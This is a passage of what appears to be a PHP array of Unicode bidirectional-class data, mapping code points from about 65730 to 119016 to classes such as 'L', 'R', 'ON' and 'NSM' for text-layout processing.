65730=>'L', 65731=>'L', 65732=>'L', 65733=>'L', 65734=>'L', 65735=>'L', 65736=>'L', 65737=>'L', 65738=>'L', 65739=>'L', 65740=>'L', 65741=>'L', 65742=>'L', 65743=>'L', 65744=>'L', 65745=>'L', 65746=>'L', 65747=>'L', 65748=>'L', 65749=>'L', 65750=>'L', 65751=>'L', 65752=>'L', 65753=>'L', 65754=>'L', 65755=>'L', 65756=>'L', 65757=>'L', 65758=>'L', 65759=>'L', 65760=>'L', 65761=>'L', 65762=>'L', 65763=>'L', 65764=>'L', 65765=>'L', 65766=>'L', 65767=>'L', 65768=>'L', 65769=>'L', 65770=>'L', 65771=>'L', 65772=>'L', 65773=>'L', 65774=>'L', 65775=>'L', 65776=>'L', 65777=>'L', 65778=>'L', 65779=>'L', 65780=>'L', 65781=>'L', 65782=>'L', 65783=>'L', 65784=>'L', 65785=>'L', 65786=>'L', 65792=>'L', 65793=>'ON', 65794=>'L', 65799=>'L', 65800=>'L', 65801=>'L', 65802=>'L', 65803=>'L', 65804=>'L', 65805=>'L', 65806=>'L', 65807=>'L', 65808=>'L', 65809=>'L', 65810=>'L', 65811=>'L', 65812=>'L', 65813=>'L', 65814=>'L', 65815=>'L', 65816=>'L', 65817=>'L', 65818=>'L', 65819=>'L', 65820=>'L', 65821=>'L', 65822=>'L', 65823=>'L', 65824=>'L', 65825=>'L', 65826=>'L', 65827=>'L', 65828=>'L', 65829=>'L', 65830=>'L', 65831=>'L', 65832=>'L', 65833=>'L', 65834=>'L', 65835=>'L', 65836=>'L', 65837=>'L', 65838=>'L', 65839=>'L', 65840=>'L', 65841=>'L', 65842=>'L', 65843=>'L', 65847=>'L', 65848=>'L', 65849=>'L', 65850=>'L', 65851=>'L', 65852=>'L', 65853=>'L', 65854=>'L', 65855=>'L', 65856=>'ON', 65857=>'ON', 65858=>'ON', 65859=>'ON', 65860=>'ON', 65861=>'ON', 65862=>'ON', 65863=>'ON', 65864=>'ON', 65865=>'ON', 65866=>'ON', 65867=>'ON', 65868=>'ON', 65869=>'ON', 65870=>'ON', 65871=>'ON', 65872=>'ON', 65873=>'ON', 65874=>'ON', 65875=>'ON', 65876=>'ON', 65877=>'ON', 65878=>'ON', 65879=>'ON', 65880=>'ON', 65881=>'ON', 65882=>'ON', 65883=>'ON', 65884=>'ON', 65885=>'ON', 65886=>'ON', 65887=>'ON', 65888=>'ON', 65889=>'ON', 65890=>'ON', 65891=>'ON', 65892=>'ON', 65893=>'ON', 65894=>'ON', 65895=>'ON', 65896=>'ON', 65897=>'ON', 65898=>'ON', 65899=>'ON', 65900=>'ON', 65901=>'ON', 65902=>'ON', 65903=>'ON', 65904=>'ON', 65905=>'ON', 65906=>'ON', 65907=>'ON', 65908=>'ON', 65909=>'ON', 65910=>'ON', 65911=>'ON', 65912=>'ON', 65913=>'ON', 65914=>'ON', 65915=>'ON', 65916=>'ON', 65917=>'ON', 65918=>'ON', 65919=>'ON', 65920=>'ON', 65921=>'ON', 65922=>'ON', 65923=>'ON', 65924=>'ON', 65925=>'ON', 65926=>'ON', 65927=>'ON', 65928=>'ON', 65929=>'ON', 65930=>'ON', 66304=>'L', 66305=>'L', 66306=>'L', 66307=>'L', 66308=>'L', 66309=>'L', 66310=>'L', 66311=>'L', 66312=>'L', 66313=>'L', 66314=>'L', 66315=>'L', 66316=>'L', 66317=>'L', 66318=>'L', 66319=>'L', 66320=>'L', 66321=>'L', 66322=>'L', 66323=>'L', 66324=>'L', 66325=>'L', 66326=>'L', 66327=>'L', 66328=>'L', 66329=>'L', 66330=>'L', 66331=>'L', 66332=>'L', 66333=>'L', 66334=>'L', 66336=>'L', 66337=>'L', 66338=>'L', 66339=>'L', 66352=>'L', 66353=>'L', 66354=>'L', 66355=>'L', 66356=>'L', 66357=>'L', 66358=>'L', 66359=>'L', 66360=>'L', 66361=>'L', 66362=>'L', 66363=>'L', 66364=>'L', 66365=>'L', 66366=>'L', 66367=>'L', 66368=>'L', 66369=>'L', 66370=>'L', 66371=>'L', 66372=>'L', 66373=>'L', 66374=>'L', 66375=>'L', 66376=>'L', 66377=>'L', 66378=>'L', 66432=>'L', 66433=>'L', 66434=>'L', 66435=>'L', 66436=>'L', 66437=>'L', 66438=>'L', 66439=>'L', 66440=>'L', 66441=>'L', 66442=>'L', 66443=>'L', 66444=>'L', 66445=>'L', 66446=>'L', 66447=>'L', 66448=>'L', 66449=>'L', 66450=>'L', 66451=>'L', 66452=>'L', 66453=>'L', 66454=>'L', 66455=>'L', 66456=>'L', 66457=>'L', 66458=>'L', 66459=>'L', 66460=>'L', 66461=>'L', 66463=>'L', 66464=>'L', 66465=>'L', 66466=>'L', 66467=>'L', 66468=>'L', 66469=>'L', 66470=>'L', 66471=>'L', 66472=>'L', 66473=>'L', 66474=>'L', 66475=>'L', 66476=>'L', 66477=>'L', 66478=>'L', 66479=>'L', 66480=>'L', 66481=>'L', 66482=>'L', 66483=>'L', 66484=>'L', 66485=>'L', 66486=>'L', 66487=>'L', 66488=>'L', 66489=>'L', 66490=>'L', 66491=>'L', 66492=>'L', 66493=>'L', 66494=>'L', 66495=>'L', 66496=>'L', 66497=>'L', 66498=>'L', 66499=>'L', 66504=>'L', 66505=>'L', 66506=>'L', 66507=>'L', 66508=>'L', 66509=>'L', 66510=>'L', 66511=>'L', 66512=>'L', 66513=>'L', 66514=>'L', 66515=>'L', 66516=>'L', 66517=>'L', 66560=>'L', 66561=>'L', 66562=>'L', 66563=>'L', 66564=>'L', 66565=>'L', 66566=>'L', 66567=>'L', 66568=>'L', 66569=>'L', 66570=>'L', 66571=>'L', 66572=>'L', 66573=>'L', 66574=>'L', 66575=>'L', 66576=>'L', 66577=>'L', 66578=>'L', 66579=>'L', 66580=>'L', 66581=>'L', 66582=>'L', 66583=>'L', 66584=>'L', 66585=>'L', 66586=>'L', 66587=>'L', 66588=>'L', 66589=>'L', 66590=>'L', 66591=>'L', 66592=>'L', 66593=>'L', 66594=>'L', 66595=>'L', 66596=>'L', 66597=>'L', 66598=>'L', 66599=>'L', 66600=>'L', 66601=>'L', 66602=>'L', 66603=>'L', 66604=>'L', 66605=>'L', 66606=>'L', 66607=>'L', 66608=>'L', 66609=>'L', 66610=>'L', 66611=>'L', 66612=>'L', 66613=>'L', 66614=>'L', 66615=>'L', 66616=>'L', 66617=>'L', 66618=>'L', 66619=>'L', 66620=>'L', 66621=>'L', 66622=>'L', 66623=>'L', 66624=>'L', 66625=>'L', 66626=>'L', 66627=>'L', 66628=>'L', 66629=>'L', 66630=>'L', 66631=>'L', 66632=>'L', 66633=>'L', 66634=>'L', 66635=>'L', 66636=>'L', 66637=>'L', 66638=>'L', 66639=>'L', 66640=>'L', 66641=>'L', 66642=>'L', 66643=>'L', 66644=>'L', 66645=>'L', 66646=>'L', 66647=>'L', 66648=>'L', 66649=>'L', 66650=>'L', 66651=>'L', 66652=>'L', 66653=>'L', 66654=>'L', 66655=>'L', 66656=>'L', 66657=>'L', 66658=>'L', 66659=>'L', 66660=>'L', 66661=>'L', 66662=>'L', 66663=>'L', 66664=>'L', 66665=>'L', 66666=>'L', 66667=>'L', 66668=>'L', 66669=>'L', 66670=>'L', 66671=>'L', 66672=>'L', 66673=>'L', 66674=>'L', 66675=>'L', 66676=>'L', 66677=>'L', 66678=>'L', 66679=>'L', 66680=>'L', 66681=>'L', 66682=>'L', 66683=>'L', 66684=>'L', 66685=>'L', 66686=>'L', 66687=>'L', 66688=>'L', 66689=>'L', 66690=>'L', 66691=>'L', 66692=>'L', 66693=>'L', 66694=>'L', 66695=>'L', 66696=>'L', 66697=>'L', 66698=>'L', 66699=>'L', 66700=>'L', 66701=>'L', 66702=>'L', 66703=>'L', 66704=>'L', 66705=>'L', 66706=>'L', 66707=>'L', 66708=>'L', 66709=>'L', 66710=>'L', 66711=>'L', 66712=>'L', 66713=>'L', 66714=>'L', 66715=>'L', 66716=>'L', 66717=>'L', 66720=>'L', 66721=>'L', 66722=>'L', 66723=>'L', 66724=>'L', 66725=>'L', 66726=>'L', 66727=>'L', 66728=>'L', 66729=>'L', 67584=>'R', 67585=>'R', 67586=>'R', 67587=>'R', 67588=>'R', 67589=>'R', 67592=>'R', 67594=>'R', 67595=>'R', 67596=>'R', 67597=>'R', 67598=>'R', 67599=>'R', 67600=>'R', 67601=>'R', 67602=>'R', 67603=>'R', 67604=>'R', 67605=>'R', 67606=>'R', 67607=>'R', 67608=>'R', 67609=>'R', 67610=>'R', 67611=>'R', 67612=>'R', 67613=>'R', 67614=>'R', 67615=>'R', 67616=>'R', 67617=>'R', 67618=>'R', 67619=>'R', 67620=>'R', 67621=>'R', 67622=>'R', 67623=>'R', 67624=>'R', 67625=>'R', 67626=>'R', 67627=>'R', 67628=>'R', 67629=>'R', 67630=>'R', 67631=>'R', 67632=>'R', 67633=>'R', 67634=>'R', 67635=>'R', 67636=>'R', 67637=>'R', 67639=>'R', 67640=>'R', 67644=>'R', 67647=>'R', 67840=>'R', 67841=>'R', 67842=>'R', 67843=>'R', 67844=>'R', 67845=>'R', 67846=>'R', 67847=>'R', 67848=>'R', 67849=>'R', 67850=>'R', 67851=>'R', 67852=>'R', 67853=>'R', 67854=>'R', 67855=>'R', 67856=>'R', 67857=>'R', 67858=>'R', 67859=>'R', 67860=>'R', 67861=>'R', 67862=>'R', 67863=>'R', 67864=>'R', 67865=>'R', 67871=>'ON', 68096=>'R', 68097=>'NSM', 68098=>'NSM', 68099=>'NSM', 68101=>'NSM', 68102=>'NSM', 68108=>'NSM', 68109=>'NSM', 68110=>'NSM', 68111=>'NSM', 68112=>'R', 68113=>'R', 68114=>'R', 68115=>'R', 68117=>'R', 68118=>'R', 68119=>'R', 68121=>'R', 68122=>'R', 68123=>'R', 68124=>'R', 68125=>'R', 68126=>'R', 68127=>'R', 68128=>'R', 68129=>'R', 68130=>'R', 68131=>'R', 68132=>'R', 68133=>'R', 68134=>'R', 68135=>'R', 68136=>'R', 68137=>'R', 68138=>'R', 68139=>'R', 68140=>'R', 68141=>'R', 68142=>'R', 68143=>'R', 68144=>'R', 68145=>'R', 68146=>'R', 68147=>'R', 68152=>'NSM', 68153=>'NSM', 68154=>'NSM', 68159=>'NSM', 68160=>'R', 68161=>'R', 68162=>'R', 68163=>'R', 68164=>'R', 68165=>'R', 68166=>'R', 68167=>'R', 68176=>'R', 68177=>'R', 68178=>'R', 68179=>'R', 68180=>'R', 68181=>'R', 68182=>'R', 68183=>'R', 68184=>'R', 73728=>'L', 73729=>'L', 73730=>'L', 73731=>'L', 73732=>'L', 73733=>'L', 73734=>'L', 73735=>'L', 73736=>'L', 73737=>'L', 73738=>'L', 73739=>'L', 73740=>'L', 73741=>'L', 73742=>'L', 73743=>'L', 73744=>'L', 73745=>'L', 73746=>'L', 73747=>'L', 73748=>'L', 73749=>'L', 73750=>'L', 73751=>'L', 73752=>'L', 73753=>'L', 73754=>'L', 73755=>'L', 73756=>'L', 73757=>'L', 73758=>'L', 73759=>'L', 73760=>'L', 73761=>'L', 73762=>'L', 73763=>'L', 73764=>'L', 73765=>'L', 73766=>'L', 73767=>'L', 73768=>'L', 73769=>'L', 73770=>'L', 73771=>'L', 73772=>'L', 73773=>'L', 73774=>'L', 73775=>'L', 73776=>'L', 73777=>'L', 73778=>'L', 73779=>'L', 73780=>'L', 73781=>'L', 73782=>'L', 73783=>'L', 73784=>'L', 73785=>'L', 73786=>'L', 73787=>'L', 73788=>'L', 73789=>'L', 73790=>'L', 73791=>'L', 73792=>'L', 73793=>'L', 73794=>'L', 73795=>'L', 73796=>'L', 73797=>'L', 73798=>'L', 73799=>'L', 73800=>'L', 73801=>'L', 73802=>'L', 73803=>'L', 73804=>'L', 73805=>'L', 73806=>'L', 73807=>'L', 73808=>'L', 73809=>'L', 73810=>'L', 73811=>'L', 73812=>'L', 73813=>'L', 73814=>'L', 73815=>'L', 73816=>'L', 73817=>'L', 73818=>'L', 73819=>'L', 73820=>'L', 73821=>'L', 73822=>'L', 73823=>'L', 73824=>'L', 73825=>'L', 73826=>'L', 73827=>'L', 73828=>'L', 73829=>'L', 73830=>'L', 73831=>'L', 73832=>'L', 73833=>'L', 73834=>'L', 73835=>'L', 73836=>'L', 73837=>'L', 73838=>'L', 73839=>'L', 73840=>'L', 73841=>'L', 73842=>'L', 73843=>'L', 73844=>'L', 73845=>'L', 73846=>'L', 73847=>'L', 73848=>'L', 73849=>'L', 73850=>'L', 73851=>'L', 73852=>'L', 73853=>'L', 73854=>'L', 73855=>'L', 73856=>'L', 73857=>'L', 73858=>'L', 73859=>'L', 73860=>'L', 73861=>'L', 73862=>'L', 73863=>'L', 73864=>'L', 73865=>'L', 73866=>'L', 73867=>'L', 73868=>'L', 73869=>'L', 73870=>'L', 73871=>'L', 73872=>'L', 73873=>'L', 73874=>'L', 73875=>'L', 73876=>'L', 73877=>'L', 73878=>'L', 73879=>'L', 73880=>'L', 73881=>'L', 73882=>'L', 73883=>'L', 73884=>'L', 73885=>'L', 73886=>'L', 73887=>'L', 73888=>'L', 73889=>'L', 73890=>'L', 73891=>'L', 73892=>'L', 73893=>'L', 73894=>'L', 73895=>'L', 73896=>'L', 73897=>'L', 73898=>'L', 73899=>'L', 73900=>'L', 73901=>'L', 73902=>'L', 73903=>'L', 73904=>'L', 73905=>'L', 73906=>'L', 73907=>'L', 73908=>'L', 73909=>'L', 73910=>'L', 73911=>'L', 73912=>'L', 73913=>'L', 73914=>'L', 73915=>'L', 73916=>'L', 73917=>'L', 73918=>'L', 73919=>'L', 73920=>'L', 73921=>'L', 73922=>'L', 73923=>'L', 73924=>'L', 73925=>'L', 73926=>'L', 73927=>'L', 73928=>'L', 73929=>'L', 73930=>'L', 73931=>'L', 73932=>'L', 73933=>'L', 73934=>'L', 73935=>'L', 73936=>'L', 73937=>'L', 73938=>'L', 73939=>'L', 73940=>'L', 73941=>'L', 73942=>'L', 73943=>'L', 73944=>'L', 73945=>'L', 73946=>'L', 73947=>'L', 73948=>'L', 73949=>'L', 73950=>'L', 73951=>'L', 73952=>'L', 73953=>'L', 73954=>'L', 73955=>'L', 73956=>'L', 73957=>'L', 73958=>'L', 73959=>'L', 73960=>'L', 73961=>'L', 73962=>'L', 73963=>'L', 73964=>'L', 73965=>'L', 73966=>'L', 73967=>'L', 73968=>'L', 73969=>'L', 73970=>'L', 73971=>'L', 73972=>'L', 73973=>'L', 73974=>'L', 73975=>'L', 73976=>'L', 73977=>'L', 73978=>'L', 73979=>'L', 73980=>'L', 73981=>'L', 73982=>'L', 73983=>'L', 73984=>'L', 73985=>'L', 73986=>'L', 73987=>'L', 73988=>'L', 73989=>'L', 73990=>'L', 73991=>'L', 73992=>'L', 73993=>'L', 73994=>'L', 73995=>'L', 73996=>'L', 73997=>'L', 73998=>'L', 73999=>'L', 74000=>'L', 74001=>'L', 74002=>'L', 74003=>'L', 74004=>'L', 74005=>'L', 74006=>'L', 74007=>'L', 74008=>'L', 74009=>'L', 74010=>'L', 74011=>'L', 74012=>'L', 74013=>'L', 74014=>'L', 74015=>'L', 74016=>'L', 74017=>'L', 74018=>'L', 74019=>'L', 74020=>'L', 74021=>'L', 74022=>'L', 74023=>'L', 74024=>'L', 74025=>'L', 74026=>'L', 74027=>'L', 74028=>'L', 74029=>'L', 74030=>'L', 74031=>'L', 74032=>'L', 74033=>'L', 74034=>'L', 74035=>'L', 74036=>'L', 74037=>'L', 74038=>'L', 74039=>'L', 74040=>'L', 74041=>'L', 74042=>'L', 74043=>'L', 74044=>'L', 74045=>'L', 74046=>'L', 74047=>'L', 74048=>'L', 74049=>'L', 74050=>'L', 74051=>'L', 74052=>'L', 74053=>'L', 74054=>'L', 74055=>'L', 74056=>'L', 74057=>'L', 74058=>'L', 74059=>'L', 74060=>'L', 74061=>'L', 74062=>'L', 74063=>'L', 74064=>'L', 74065=>'L', 74066=>'L', 74067=>'L', 74068=>'L', 74069=>'L', 74070=>'L', 74071=>'L', 74072=>'L', 74073=>'L', 74074=>'L', 74075=>'L', 74076=>'L', 74077=>'L', 74078=>'L', 74079=>'L', 74080=>'L', 74081=>'L', 74082=>'L', 74083=>'L', 74084=>'L', 74085=>'L', 74086=>'L', 74087=>'L', 74088=>'L', 74089=>'L', 74090=>'L', 74091=>'L', 74092=>'L', 74093=>'L', 74094=>'L', 74095=>'L', 74096=>'L', 74097=>'L', 74098=>'L', 74099=>'L', 74100=>'L', 74101=>'L', 74102=>'L', 74103=>'L', 74104=>'L', 74105=>'L', 74106=>'L', 74107=>'L', 74108=>'L', 74109=>'L', 74110=>'L', 74111=>'L', 74112=>'L', 74113=>'L', 74114=>'L', 74115=>'L', 74116=>'L', 74117=>'L', 74118=>'L', 74119=>'L', 74120=>'L', 74121=>'L', 74122=>'L', 74123=>'L', 74124=>'L', 74125=>'L', 74126=>'L', 74127=>'L', 74128=>'L', 74129=>'L', 74130=>'L', 74131=>'L', 74132=>'L', 74133=>'L', 74134=>'L', 74135=>'L', 74136=>'L', 74137=>'L', 74138=>'L', 74139=>'L', 74140=>'L', 74141=>'L', 74142=>'L', 74143=>'L', 74144=>'L', 74145=>'L', 74146=>'L', 74147=>'L', 74148=>'L', 74149=>'L', 74150=>'L', 74151=>'L', 74152=>'L', 74153=>'L', 74154=>'L', 74155=>'L', 74156=>'L', 74157=>'L', 74158=>'L', 74159=>'L', 74160=>'L', 74161=>'L', 74162=>'L', 74163=>'L', 74164=>'L', 74165=>'L', 74166=>'L', 74167=>'L', 74168=>'L', 74169=>'L', 74170=>'L', 74171=>'L', 74172=>'L', 74173=>'L', 74174=>'L', 74175=>'L', 74176=>'L', 74177=>'L', 74178=>'L', 74179=>'L', 74180=>'L', 74181=>'L', 74182=>'L', 74183=>'L', 74184=>'L', 74185=>'L', 74186=>'L', 74187=>'L', 74188=>'L', 74189=>'L', 74190=>'L', 74191=>'L', 74192=>'L', 74193=>'L', 74194=>'L', 74195=>'L', 74196=>'L', 74197=>'L', 74198=>'L', 74199=>'L', 74200=>'L', 74201=>'L', 74202=>'L', 74203=>'L', 74204=>'L', 74205=>'L', 74206=>'L', 74207=>'L', 74208=>'L', 74209=>'L', 74210=>'L', 74211=>'L', 74212=>'L', 74213=>'L', 74214=>'L', 74215=>'L', 74216=>'L', 74217=>'L', 74218=>'L', 74219=>'L', 74220=>'L', 74221=>'L', 74222=>'L', 74223=>'L', 74224=>'L', 74225=>'L', 74226=>'L', 74227=>'L', 74228=>'L', 74229=>'L', 74230=>'L', 74231=>'L', 74232=>'L', 74233=>'L', 74234=>'L', 74235=>'L', 74236=>'L', 74237=>'L', 74238=>'L', 74239=>'L', 74240=>'L', 74241=>'L', 74242=>'L', 74243=>'L', 74244=>'L', 74245=>'L', 74246=>'L', 74247=>'L', 74248=>'L', 74249=>'L', 74250=>'L', 74251=>'L', 74252=>'L', 74253=>'L', 74254=>'L', 74255=>'L', 74256=>'L', 74257=>'L', 74258=>'L', 74259=>'L', 74260=>'L', 74261=>'L', 74262=>'L', 74263=>'L', 74264=>'L', 74265=>'L', 74266=>'L', 74267=>'L', 74268=>'L', 74269=>'L', 74270=>'L', 74271=>'L', 74272=>'L', 74273=>'L', 74274=>'L', 74275=>'L', 74276=>'L', 74277=>'L', 74278=>'L', 74279=>'L', 74280=>'L', 74281=>'L', 74282=>'L', 74283=>'L', 74284=>'L', 74285=>'L', 74286=>'L', 74287=>'L', 74288=>'L', 74289=>'L', 74290=>'L', 74291=>'L', 74292=>'L', 74293=>'L', 74294=>'L', 74295=>'L', 74296=>'L', 74297=>'L', 74298=>'L', 74299=>'L', 74300=>'L', 74301=>'L', 74302=>'L', 74303=>'L', 74304=>'L', 74305=>'L', 74306=>'L', 74307=>'L', 74308=>'L', 74309=>'L', 74310=>'L', 74311=>'L', 74312=>'L', 74313=>'L', 74314=>'L', 74315=>'L', 74316=>'L', 74317=>'L', 74318=>'L', 74319=>'L', 74320=>'L', 74321=>'L', 74322=>'L', 74323=>'L', 74324=>'L', 74325=>'L', 74326=>'L', 74327=>'L', 74328=>'L', 74329=>'L', 74330=>'L', 74331=>'L', 74332=>'L', 74333=>'L', 74334=>'L', 74335=>'L', 74336=>'L', 74337=>'L', 74338=>'L', 74339=>'L', 74340=>'L', 74341=>'L', 74342=>'L', 74343=>'L', 74344=>'L', 74345=>'L', 74346=>'L', 74347=>'L', 74348=>'L', 74349=>'L', 74350=>'L', 74351=>'L', 74352=>'L', 74353=>'L', 74354=>'L', 74355=>'L', 74356=>'L', 74357=>'L', 74358=>'L', 74359=>'L', 74360=>'L', 74361=>'L', 74362=>'L', 74363=>'L', 74364=>'L', 74365=>'L', 74366=>'L', 74367=>'L', 74368=>'L', 74369=>'L', 74370=>'L', 74371=>'L', 74372=>'L', 74373=>'L', 74374=>'L', 74375=>'L', 74376=>'L', 74377=>'L', 74378=>'L', 74379=>'L', 74380=>'L', 74381=>'L', 74382=>'L', 74383=>'L', 74384=>'L', 74385=>'L', 74386=>'L', 74387=>'L', 74388=>'L', 74389=>'L', 74390=>'L', 74391=>'L', 74392=>'L', 74393=>'L', 74394=>'L', 74395=>'L', 74396=>'L', 74397=>'L', 74398=>'L', 74399=>'L', 74400=>'L', 74401=>'L', 74402=>'L', 74403=>'L', 74404=>'L', 74405=>'L', 74406=>'L', 74407=>'L', 74408=>'L', 74409=>'L', 74410=>'L', 74411=>'L', 74412=>'L', 74413=>'L', 74414=>'L', 74415=>'L', 74416=>'L', 74417=>'L', 74418=>'L', 74419=>'L', 74420=>'L', 74421=>'L', 74422=>'L', 74423=>'L', 74424=>'L', 74425=>'L', 74426=>'L', 74427=>'L', 74428=>'L', 74429=>'L', 74430=>'L', 74431=>'L', 74432=>'L', 74433=>'L', 74434=>'L', 74435=>'L', 74436=>'L', 74437=>'L', 74438=>'L', 74439=>'L', 74440=>'L', 74441=>'L', 74442=>'L', 74443=>'L', 74444=>'L', 74445=>'L', 74446=>'L', 74447=>'L', 74448=>'L', 74449=>'L', 74450=>'L', 74451=>'L', 74452=>'L', 74453=>'L', 74454=>'L', 74455=>'L', 74456=>'L', 74457=>'L', 74458=>'L', 74459=>'L', 74460=>'L', 74461=>'L', 74462=>'L', 74463=>'L', 74464=>'L', 74465=>'L', 74466=>'L', 74467=>'L', 74468=>'L', 74469=>'L', 74470=>'L', 74471=>'L', 74472=>'L', 74473=>'L', 74474=>'L', 74475=>'L', 74476=>'L', 74477=>'L', 74478=>'L', 74479=>'L', 74480=>'L', 74481=>'L', 74482=>'L', 74483=>'L', 74484=>'L', 74485=>'L', 74486=>'L', 74487=>'L', 74488=>'L', 74489=>'L', 74490=>'L', 74491=>'L', 74492=>'L', 74493=>'L', 74494=>'L', 74495=>'L', 74496=>'L', 74497=>'L', 74498=>'L', 74499=>'L', 74500=>'L', 74501=>'L', 74502=>'L', 74503=>'L', 74504=>'L', 74505=>'L', 74506=>'L', 74507=>'L', 74508=>'L', 74509=>'L', 74510=>'L', 74511=>'L', 74512=>'L', 74513=>'L', 74514=>'L', 74515=>'L', 74516=>'L', 74517=>'L', 74518=>'L', 74519=>'L', 74520=>'L', 74521=>'L', 74522=>'L', 74523=>'L', 74524=>'L', 74525=>'L', 74526=>'L', 74527=>'L', 74528=>'L', 74529=>'L', 74530=>'L', 74531=>'L', 74532=>'L', 74533=>'L', 74534=>'L', 74535=>'L', 74536=>'L', 74537=>'L', 74538=>'L', 74539=>'L', 74540=>'L', 74541=>'L', 74542=>'L', 74543=>'L', 74544=>'L', 74545=>'L', 74546=>'L', 74547=>'L', 74548=>'L', 74549=>'L', 74550=>'L', 74551=>'L', 74552=>'L', 74553=>'L', 74554=>'L', 74555=>'L', 74556=>'L', 74557=>'L', 74558=>'L', 74559=>'L', 74560=>'L', 74561=>'L', 74562=>'L', 74563=>'L', 74564=>'L', 74565=>'L', 74566=>'L', 74567=>'L', 74568=>'L', 74569=>'L', 74570=>'L', 74571=>'L', 74572=>'L', 74573=>'L', 74574=>'L', 74575=>'L', 74576=>'L', 74577=>'L', 74578=>'L', 74579=>'L', 74580=>'L', 74581=>'L', 74582=>'L', 74583=>'L', 74584=>'L', 74585=>'L', 74586=>'L', 74587=>'L', 74588=>'L', 74589=>'L', 74590=>'L', 74591=>'L', 74592=>'L', 74593=>'L', 74594=>'L', 74595=>'L', 74596=>'L', 74597=>'L', 74598=>'L', 74599=>'L', 74600=>'L', 74601=>'L', 74602=>'L', 74603=>'L', 74604=>'L', 74605=>'L', 74606=>'L', 74752=>'L', 74753=>'L', 74754=>'L', 74755=>'L', 74756=>'L', 74757=>'L', 74758=>'L', 74759=>'L', 74760=>'L', 74761=>'L', 74762=>'L', 74763=>'L', 74764=>'L', 74765=>'L', 74766=>'L', 74767=>'L', 74768=>'L', 74769=>'L', 74770=>'L', 74771=>'L', 74772=>'L', 74773=>'L', 74774=>'L', 74775=>'L', 74776=>'L', 74777=>'L', 74778=>'L', 74779=>'L', 74780=>'L', 74781=>'L', 74782=>'L', 74783=>'L', 74784=>'L', 74785=>'L', 74786=>'L', 74787=>'L', 74788=>'L', 74789=>'L', 74790=>'L', 74791=>'L', 74792=>'L', 74793=>'L', 74794=>'L', 74795=>'L', 74796=>'L', 74797=>'L', 74798=>'L', 74799=>'L', 74800=>'L', 74801=>'L', 74802=>'L', 74803=>'L', 74804=>'L', 74805=>'L', 74806=>'L', 74807=>'L', 74808=>'L', 74809=>'L', 74810=>'L', 74811=>'L', 74812=>'L', 74813=>'L', 74814=>'L', 74815=>'L', 74816=>'L', 74817=>'L', 74818=>'L', 74819=>'L', 74820=>'L', 74821=>'L', 74822=>'L', 74823=>'L', 74824=>'L', 74825=>'L', 74826=>'L', 74827=>'L', 74828=>'L', 74829=>'L', 74830=>'L', 74831=>'L', 74832=>'L', 74833=>'L', 74834=>'L', 74835=>'L', 74836=>'L', 74837=>'L', 74838=>'L', 74839=>'L', 74840=>'L', 74841=>'L', 74842=>'L', 74843=>'L', 74844=>'L', 74845=>'L', 74846=>'L', 74847=>'L', 74848=>'L', 74849=>'L', 74850=>'L', 74864=>'L', 74865=>'L', 74866=>'L', 74867=>'L', 118784=>'L', 118785=>'L', 118786=>'L', 118787=>'L', 118788=>'L', 118789=>'L', 118790=>'L', 118791=>'L', 118792=>'L', 118793=>'L', 118794=>'L', 118795=>'L', 118796=>'L', 118797=>'L', 118798=>'L', 118799=>'L', 118800=>'L', 118801=>'L', 118802=>'L', 118803=>'L', 118804=>'L', 118805=>'L', 118806=>'L', 118807=>'L', 118808=>'L', 118809=>'L', 118810=>'L', 118811=>'L', 118812=>'L', 118813=>'L', 118814=>'L', 118815=>'L', 118816=>'L', 118817=>'L', 118818=>'L', 118819=>'L', 118820=>'L', 118821=>'L', 118822=>'L', 118823=>'L', 118824=>'L', 118825=>'L', 118826=>'L', 118827=>'L', 118828=>'L', 118829=>'L', 118830=>'L', 118831=>'L', 118832=>'L', 118833=>'L', 118834=>'L', 118835=>'L', 118836=>'L', 118837=>'L', 118838=>'L', 118839=>'L', 118840=>'L', 118841=>'L', 118842=>'L', 118843=>'L', 118844=>'L', 118845=>'L', 118846=>'L', 118847=>'L', 118848=>'L', 118849=>'L', 118850=>'L', 118851=>'L', 118852=>'L', 118853=>'L', 118854=>'L', 118855=>'L', 118856=>'L', 118857=>'L', 118858=>'L', 118859=>'L', 118860=>'L', 118861=>'L', 118862=>'L', 118863=>'L', 118864=>'L', 118865=>'L', 118866=>'L', 118867=>'L', 118868=>'L', 118869=>'L', 118870=>'L', 118871=>'L', 118872=>'L', 118873=>'L', 118874=>'L', 118875=>'L', 118876=>'L', 118877=>'L', 118878=>'L', 118879=>'L', 118880=>'L', 118881=>'L', 118882=>'L', 118883=>'L', 118884=>'L', 118885=>'L', 118886=>'L', 118887=>'L', 118888=>'L', 118889=>'L', 118890=>'L', 118891=>'L', 118892=>'L', 118893=>'L', 118894=>'L', 118895=>'L', 118896=>'L', 118897=>'L', 118898=>'L', 118899=>'L', 118900=>'L', 118901=>'L', 118902=>'L', 118903=>'L', 118904=>'L', 118905=>'L', 118906=>'L', 118907=>'L', 118908=>'L', 118909=>'L', 118910=>'L', 118911=>'L', 118912=>'L', 118913=>'L', 118914=>'L', 118915=>'L', 118916=>'L', 118917=>'L', 118918=>'L', 118919=>'L', 118920=>'L', 118921=>'L', 118922=>'L', 118923=>'L', 118924=>'L', 118925=>'L', 118926=>'L', 118927=>'L', 118928=>'L', 118929=>'L', 118930=>'L', 118931=>'L', 118932=>'L', 118933=>'L', 118934=>'L', 118935=>'L', 118936=>'L', 118937=>'L', 118938=>'L', 118939=>'L', 118940=>'L', 118941=>'L', 118942=>'L', 118943=>'L', 118944=>'L', 118945=>'L', 118946=>'L', 118947=>'L', 118948=>'L', 118949=>'L', 118950=>'L', 118951=>'L', 118952=>'L', 118953=>'L', 118954=>'L', 118955=>'L', 118956=>'L', 118957=>'L', 118958=>'L', 118959=>'L', 118960=>'L', 118961=>'L', 118962=>'L', 118963=>'L', 118964=>'L', 118965=>'L', 118966=>'L', 118967=>'L', 118968=>'L', 118969=>'L', 118970=>'L', 118971=>'L', 118972=>'L', 118973=>'L', 118974=>'L', 118975=>'L', 118976=>'L', 118977=>'L', 118978=>'L', 118979=>'L', 118980=>'L', 118981=>'L', 118982=>'L', 118983=>'L', 118984=>'L', 118985=>'L', 118986=>'L', 118987=>'L', 118988=>'L', 118989=>'L', 118990=>'L', 118991=>'L', 118992=>'L', 118993=>'L', 118994=>'L', 118995=>'L', 118996=>'L', 118997=>'L', 118998=>'L', 118999=>'L', 119000=>'L', 119001=>'L', 119002=>'L', 119003=>'L', 119004=>'L', 119005=>'L', 119006=>'L', 119007=>'L', 119008=>'L', 119009=>'L', 119010=>'L', 119011=>'L', 119012=>'L', 119013=>'L', 119014=>'L', 119015=>'L', 119016=>'L', 